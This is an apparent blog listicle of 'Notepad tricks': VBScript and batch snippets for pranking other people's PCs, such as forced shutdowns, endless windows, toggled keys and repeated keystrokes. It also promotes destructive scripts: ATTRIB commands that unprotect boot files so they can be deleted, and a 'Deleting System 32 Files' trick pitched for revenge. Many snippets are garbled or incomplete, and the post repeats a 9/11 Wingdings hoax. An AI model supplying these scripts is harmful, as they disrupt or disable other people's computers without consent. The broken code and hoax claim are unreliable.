While we were in schools, the very first thing taught to us was Notepad. And this is the software we all are aware of very well. But have you ever wondered what the actual work of Notepad is or what are the fun things to do with Notepad? If not, don’t worry! We have got something very interesting and awesome for you guys. These tricks for Notepad might blow your mind. They may change the way you use Notepad and you can even show off in front of your friends. Also, learning a few small notepad tricks won’t really hurt our chances of showing off or maybe getting a different perspective about what notepad can really do.
15 Cool Notepad Tricks you should try at least once
Although there might be a lot of tricks to blow one’s mind, today we will be discussing and learning only about the selected tricks that come in really handy while doing some work or amazing your friend. So, here the 15 tricks for Notepad that might be very useful for you.
Note: In case you find some like ‘Compilation Error’ then don’t worry and just retype the inverted commas in the code manually, instead of copying and pasting them.
Continuously pop-out CD Drive using Notepad
Just imagine you are doing something, for example playing some multiplayer game, and you want to amaze him with something that he could not even think of. How about popping out CD Drive continuously? This can be with ease. Just copy and paste the code given below in Notepad document and then save the file as a .vbs file. Now go to that .vbs file and just double-click on it to activate the command. This will let the CD Drive pop out again and again and keep your friend amazed.
Set oWMP = CreateObject(“WMPlayer.OCX.7?)
Set colCDROMs = oWMP.cdromCollection
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count – 1
For i = 0 to colCDROMs.Count – 1
2.Shutting down PC using Notepad
Let us consider this as an example. You are lazy of and even feel laziness while shutting down your computer with the traditional method. How about if you can shut down your PC just by double-clicking on a file? This can be done with ease. Just copy and paste the code give below in a new document of Notepad and save the file as .vbs. Now open that .vbs file by double-clicking on it. Voila! You will see that PC will get shut down successfully.
msg * System will now shut down
shutdown -c “Bye!” –s
3.Open Notepad Contusly
Another trick to show offront of your friends or cousins would be set off a command in their PC to open Notepad application again and again, i.e. repeatedly. Just copy and paste the code give below in a new document of Notepad and save the file as .vbs. Now open that .vbs file by double-clicking on it. Now wait for a little and see what happens.
Make a Personal Diary or Log using Notepad
Notepad has a special feature that allows us to use it as a log or diary. Using this feature you can make a list of stuff or write something important on that particular date and time that it automatically puts whenever you will open that Log file. Even this can be the easiest code ever to use the feature. Just type.Log in the document of Notepad and save the file with .log extension. Now every time you open that file with the .log extension, you will see that the date and time are already written and you can easily save your stuff.
If you use command prompt very frequently you would be well aware of the fact that it looks very old and does not match today’s colorful world. Then how about applying some great effects along with amazing colors and give our dear command prompt a totally new effect. It would look like some hacker’s system; so you can again amaze your friends and play with the tweaks as well.
For doing this, copy and paste the following code into a new document in Notepad.
echo %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%
Now save the file with any name with .bat extension and when you are done you will see that the command prompt’s window has green colored text with some special effects. You can even change this in the color you like the most by changing the digits. Instead of typing 02, type some other digits, e.g. 03 and now repeat the same process. You will find that the color has been changed.
Toggle Caps Lock repeatedly using Notepad
You can prank someone who uses your PC without your permission and you can’t do anything because of some reasons or amaze your friends with this trick. It will repeatedly toggle Caps Lock key until you stop it. The process is much easier than you think. Just copy and paste the code give below in a new document of Notepad and save the file as .vbs. Now open that .vbs file by double-clicking on it. Now wait for a little and see what happens.
Set wshShell =wscript.CreateObject(“WScript.Shell”)
This is just a simple trick that will let the user type slowly. What it actually does is that it makes a little difference between the words so that they appear to be typed slowly. This would be a great trick to prank your colleagues. This is simple as well, just like the previous ones. Just copy and paste the code give below in a new document of Notepad and save the file as .vbs.
Set WshShell = WScript.CreateObject(“WScript.Shell”)
WshShell.SendKeys “lo ”
WshShell.SendKeys “, ho”
WshShell.SendKeys “w a”
WshShell.SendKeys “re ”
WshShell.SendKeys “? ”
WshShell.SendKeys “I a”
WshShell.SendKeys “m g”
WshShell.SendKeys ” th”
WshShell.SendKeys “s! ”
Now open that .vbs file by double-clicking on it and wait for a little to see what happens.
Converting Text to Speech using Notepad
Just like Google’s text to speech feature, you can create one on your PC as well and have fun with it.
Dim message, sapi
message=InputBox(“What do you want me to say?”,”Speak to Me”)
Just copy and paste the code given above in a new document of Notepad and save the file as .vbs. Now open the .vbs file by double-clicking on it and a dialog box will appear. Now just type what you want your computer to say and have fun with it.
World Trade Center Attack
This is not some trick to prank or amaze anyone, the fact is that if you enter the flight number of the flight that struck the twin towers, i.e. QN33. Now change the font to Wingdings and the size of text to 72. You will see something really interesting.
But the true fact is that there is no such incident like this. I just liked the trick, so shared with you guys.
Changing Header and Footer in Notepad
You can easily use any of the following codes to make different types of changes in header and footer as mentioned by the side of the code.
&l Left-align the characters that follow
&c Center the characters that follow
&r Right-align the characters that follow
&d Print the current date
&t Print the current time
&f Print the name of the document
&p Print the page number
Delete Startup Files
There’s a simple with which you can devastate your PC. The code given below will delete all the files that help in booting the system and in this way you won’t be able to boot into system. Although the uses of this trick are not advisable, but believe me it has the power to do so. And it’s my humble request to you guys, DO NOT use this code until and unless you want to devastate your PC and lose all the data.
ATTRIB -R -S -H C:\AUTOEXEC.BAT
ATTRIB -R -S -H C:\BOOT.INI
ATTRIB -R -S -H C:\NTLDR
ATTRIB -R -S -H C:\WINDOWS\WIN.INI
SAVE IT AS .BAT FILE.
Deleting System 32 Files
Thinking to take revenge on someone? As you have done before with other codes, just do the same but this time save the file in .bat format. It will delete all the System 32 files required for the system to work in order. Here’s the code, follow the steps and you are good to go.
Hit backspace continuously
Backspace button is one of those buttons on the keyboard without which keyboard becomes useless. It is one of the most used keys in any keyboard. But if you want to play with someone and prank him/her, then how about hitting the backspace continuously? But unfortunately, it would be a hard work for you. Then use the code given below and make you work easily than ever.
MsgBox “Backspace again and again and AGAIN”
Set wshShell =wscript.CreateObject(“WScript.Shell”)
Just copy and paste the code give below in a new document of Notepad and save the file as .vbs. Now open that .vbs file by double-clicking on it. Voila! You will now see the magic happening with the PC. Lmao!!
Type something again and again!
This would be very useful sometimes when you want to make some presentation or any other kind of document. You can easily use the code given below and it will write the text automatically again and again until you are done with the continuous loop.
Set wshShell = wscript.CreateObject(“WScript.Shell”)
wshshell.sendkeys “I’ll be typed again and again”
Save it as a .vbs file and enjoy your loop.
Notepad is one of the most popular and the very first software you had ever used on your PC. But remember my words; it is not as simple as it looks like. You can do a lot with it as mentioned above. All these tricks come in really handy while you are a regular user and do different kinds of works with PC, instead of just one. Try these tricks and do let us know in the comment section below about your thoughts on these tips and tricks of Notepad. Thank You